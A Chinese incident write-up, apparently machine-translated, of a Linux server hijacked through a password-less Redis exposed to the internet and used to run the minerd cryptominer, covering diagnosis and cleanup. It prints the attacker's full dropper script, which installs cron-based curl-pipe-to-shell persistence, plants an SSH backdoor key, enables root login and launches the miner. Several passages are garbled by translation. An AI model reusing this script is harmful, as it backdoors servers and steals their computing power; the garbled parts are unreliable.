主页 > imtoken下载app钱包 > 服务器被植入挖矿病毒的案例记录

服务器被植入挖矿病毒的案例记录

imtoken下载app钱包 2023-03-04 05:42:46

一、问题症状

服务器CPU收到告警后飙升至100%,影响服务本身的耗时,导致大量超时告警

二、@ >分析问题

现象只是问题的表面。要想明白本质,必须“深入虎穴”,先登录服务器,查看整个系统的运行状态,再做进一步的判断。 top命令执行后截图如下:

服务器被植入挖矿病毒案例实录

这台服务器有16核32GB内存,硬件资源配置还是很高的。但是从图中可以看出系统平均负载偏高,发现在10以上。有一个pid为16717的minard进程,消耗CPU资源很多,而这个minard进程仍然是root用户启动的,已经启动了35分45秒。看来该过程才刚刚开始。这不是一个业务流程。

2.1、追踪矿工的未知进程

下面还是回到minerd的未知进程:一个进程突然启动,消耗大量CPU资源。到底是个什么样的流程,于是带着疑惑,搜了下,很震惊。这是一个挖矿程序。

什么是挖矿,这里稍微通俗一点:所谓“挖矿”,本质上是计算机解决复杂数学问题,是用来赚取比特币的程序,挖矿是消耗计算资源来处理交易的过程,保护网络,并使网络中的每个人保持同步。可以理解为比特币的数据中心。不同之处在于它在设计上是完全去中心化的。矿工在世界各国运营,没有人可以控制网络。这个过程被称为“挖矿”,因为它类似于淘金。

任何人都可以通过在专用硬件上运行软件程序成为比特币矿工。挖矿软件通过 P2P 网络监听交易广播,并执行任务来处理和确认这些交易。比特币矿工完成这些任务后,有机会获得一定数量的比特币作为赏金比特币挖矿机房图片,但付出的代价是需要大量的计算资源。挖矿软件根据特定算法进行大量计算,会占用大量CPU,导致系统卡死,直接瘫痪。

比特币的价格近年来一直在飙升。现在玩比特币挖矿的人太多了,但是大部分都是用矿机或者显卡来完成计算的。事实上,最初的比特币挖矿是用电脑的 CPU 进行的。虽然CPU的计算能力远远落后于显卡和矿机,但这并不意味着CPU不能进行挖矿。用CPU挖矿的软件有很多,最著名的就是minerd。 minerd是一个比特币挖矿程序,可以运行在服务器上进行挖矿,消耗大量CPU资源。

好了,题外话到此结束,我们回到这个案例。既然我们知道这是一个挖矿程序,那么接下来要解决的问题是什么?我们先考虑一下:

一个。挖矿程序影响系统运行,请立即关闭并删除挖矿程序。

b.挖矿程序是如何植入的,植入原因有待调查。

c。想办法植入挖矿程序,然后堵住漏洞。

2.2、清除minerd的挖矿进程

比特币挖矿机房图片

挖矿程序minerd的pid是16717,可以根据进程ID查询。进程的程序路径,执行“ls -al /proc/$PID/exe”可以知道pid对应的可执行文件路径,其中$PID是查询到的进程ID。

[root@localhost ~]# ls -al /proc/16717/exe

lrwxrwxrwx 1 root root 0 Apr 25 13:59 /proc/5423/exe > /var/tmp/minerd

找到程序路径和pid,可以清除挖矿程序,执行如下:

[root@localhost ~]# kill -9 16717

[root@localhost ~]# rm -rf /var/tmp/minerd

清空完成,然后top检查系统进程状态。矿工进程不再存在,系统负载开始下降。但是我的直觉告诉我,这个挖矿程序并没有那么简单。

果然,在清除挖矿程序5分钟后,我发现minerd进程又开始了。

根据经验,crontab似乎应该是定时任务写的。那么,让我们开始检查系统的 crontab 文件的内容吧。

linux下有系统级的crontab和用户级的crontab。定义用户级的crontabs后,会在/var/spool/cron目录下创建对应用户的定时任务脚本,而系统级的crontabs会在/var/spool/cron目录下创建。 crontab,可以直接查看/etc/crontab文件。

首先查看/var/spool/cron目录,查看系统中是否有异常的用户定时任务脚本。如下图:

[root@localhost cron]# ll /var/spool/cron/

共 4 个

drwxr-xr-x 2 root root 6 Aug 18 19:01 crontabs

比特币挖矿机房图片

-rw-------- 1 root 80 Aug 18 19:04 root

[root@localhost cron]# cat /var/spool/cron/root

/5 18-23,0-7 curl -fsSL |嘘

[root@localhost cron]# cat /var/spool/cron/crontabs/root

/5 18-23,0-7 curl -fsSL |嘘

可以找到,/var/spool/cron/root 和 /var/spool/cron/ 两个 crontabs/root 文件都写入了计划任务。这两个计划任务是相同的。定时任务的设置策略是:每天18:00-23:00、0:00-7:00,在此期间每五分钟执行一次curl操作,curl操作将从r开始。 chanstring .com 下载脚本并在本地服务器上执行。

既然你已经找到了这个下载脚本的网站,那么让我们看看下载的脚本是什么以及它执行了哪些操作。这个网站明显是一个api接口,下载的内容如下:

导出 PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "/5 18-23,0-7 curl -fsSL | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "/5 18-23,0-7 curl - fsSL | sh" > /var/spool/cron/crontabs/root

如果 [ ! -f "/root/.ssh/KHK75NEOiq" ];那么

mkdir -p ~ /.ssh

rm -f ~/.ssh/authorized_keys*

比特币挖矿机房图片

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj +wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~ /.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication 是" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd重启

fi

如果 [ ! -f "/var/tmp/miner" ];那么

curl -fsSL -o /var/tmp/minerd

chmod +x /var/tmp/minerd

/var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p>

fi

ps 辅助 |层+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x

如果 [ ! -f "/etc/init.d/lady" ];那么

比特币挖矿机房图片

如果 [ ! -f "/etc/systemd/system/lady.service" ];那么

curl -fsSL `uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66

fi

fi

服务小姐开始

systemctl start lady.service

/etc/init. d/女士开始

这是一个非常简单的shell脚本,基本的执行逻辑是:

1、将计划任务写入 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 文件。 2、然后检查/root/.ssh/KHK75NEOiq文件(这个应该是公钥文件)是否存在,如果不存在,将公钥写入服务器,修改/etc/ssh/sshd_config的配置.

3、检查挖矿程序/var/tmp/minerd是否存在,如果不存在,从网上下载一个,授权,最后启动挖矿程序。同时也会检查挖矿进程是否存在,不存在则重启挖矿进程。 -o参数后面是矿池地址和端口号,-u参数后面是黑客自己的钱包地址比特币挖矿机房图片,-p参数是密码,随便填就好了。

至此,挖矿程序的运行机制基本清晰。那么黑客是如何将挖矿程序植入系统的呢?这个问题需要澄清一下。

2.3、寻找挖矿程序植入源

为了了解挖矿程序是如何植入系统的,继续在系统下面的问题中搜索,试图找到一些漏洞或入侵痕迹。

考虑到本系统运行mysql、redis、tomcat和nginx,那么检查这些启动的端口是否安全。执行命令得到结果如下:

比特币挖矿机房图片

二、2@>

从netstat命令的输出可以看出系统开启了多个端口,nginx对应的端口为80,允许所有IP(二、3@>二、3@>二、3 @>二、6@>访问,另外redis启动6380端口,mysql启动3306端口,两者默认绑定到二、3@>二、3@>二、3@>0,另见8080、8009端口,这个应该是tomcat启动的端口。

启动的端口这么多,其中8个0、3306、6380都在监听二、3@>二、3@>二、3@>0,这是一定的风险,但您可以通过防火墙阻止这些端口。说到防火墙,那我们来看看iptables的配置规则,内容如下:

服务器被植入挖矿病毒案例实录

从输出的iptables规则,立即发现有一条异常规则,即6380端口,针对全网(二、3@>二、3@> 二、3@>二、6@ > 开放,这是一个很危险的规则,6380怎么可以全网开放呢?另外我发现80端口也是全网开放的,这个一定要开放,没问题。而3306端口不开放防火墙规则上显示,INPUT链默认为DROP模式,即3306端口不对外开放,安全。

发现6380端口对全网开放,然后尝试连接外网查看情况,执行如下:

[root@client ~]# redis-cli -h x.x.x.x -p 6380

x.x.x.x:6380 > 信息

redis_version:3.2.12

redis_git_sha1:00000000

redis_git_dirty:0

redis_build_id:3dc3425a3049d2ef

p>

redis_mode:standalone

操作系统:Linux 3.1二、3@>0-862.2.3.el7.x86_64 x86_64

这个厉害了,不用密码就远了 登录后还可以查看redis信息,执行redis命令。

至此,问题已经找到,redis无密码登录,redis端口6380对全网开放,导致被黑。